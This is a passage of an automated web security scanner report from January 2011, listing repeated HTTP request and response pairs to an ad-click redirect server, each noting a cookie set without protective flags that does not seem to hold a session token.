HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:25:20 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/312913212/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:10:19 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/338106476/x04/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:36:34 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/37601243/x03/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:39:00 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/386017114/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:40:00 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/396828855/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:40:51 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/399157577/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:51:13 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/404785047/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:31 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/440360851/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:02:45 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/445245444/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:18:39 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/488972836/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:04:09 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/495614817/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:45 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/506110015/x01/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:05:49 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/522788815/x01/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:41:11 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/52813720/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:09:39 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/560089787/x04/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:39:07 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/601575059/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:04:15 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/613368033/x01/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/649757406/x02/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:01 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/66254069/x03/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:00 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/662641130/Right1/Dom_Ent/House-Sound-Btn/wf_de_ad_300x100.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:18 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.flashedition.com/publication?i=59172 Content-Length: 324 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.flashedition.com/publication?i=59172 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/676472739/x04/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:08 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/706664927/x04/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
